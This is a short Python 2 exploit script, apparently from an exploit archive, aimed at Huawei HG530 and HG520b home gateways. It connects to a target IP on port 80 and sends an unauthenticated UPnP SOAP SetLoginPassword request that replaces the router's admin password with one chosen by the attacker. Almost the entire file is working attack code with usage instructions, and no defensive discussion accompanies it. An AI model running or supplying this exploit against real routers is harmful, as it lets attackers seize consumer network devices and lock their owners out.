#!/usr/bin/python

# Exploit Title: Huawei Home Gateway password change vulnerability
# Date: June 27, 2015
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage: http://www.huawei.com/en/
# Software Link: N/A.
# Version: UPnP/1.0 IGD/1.00
# Tested on: HG530 - HG520b (Provided by TE-DATA egypt)
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r

import socket
import sys
import re

if len(sys.argv) !=3:
    print "[*] Please enter the target ip and the new password."
    print "[*] Usage : " + sys.argv[0] + " IP_ADDR NEW_PASS"
    exit()

# Create a TCP/IP socket
target_host = sys.argv[1]
new_pass = sys.argv[2]
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect the socket to the port where the server is listening
server_address = (target_host, 80)
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address
sock.connect(server_address)
try:
    soap = "<?xml version=\"1.0\"?>"
    soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    soap +="<s:Body>"
    soap +="<m:SetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"
    soap +="<NewUserpassword>"+new_pass+"</NewUserpassword>"
    soap +="</m:SetLoginPassword>"
    soap +="</s:Body>"
    soap +="</s:Envelope>"
    message = "POST /UD/?5 HTTP/1.1\r\n"
    message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#SetLoginPassword\"\r\n"
    message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"
    message += "Host:" + target_host + "\r\n"
    message += "Content-Length: " + str(len(soap)) + "\r\n"
    message += "Expect: 100-continue\r\n"
    message += "Connection: Keep-Alive\r\n\r\n"
    sock.send(message)
    data = sock.recv(1024)
    print "[*] Recieved : " + data.strip()
    sock.send(soap)
    data = sock.recv(1024)
    data += sock.recv(1024)
    print "[*] Done."
finally:
    sock.close()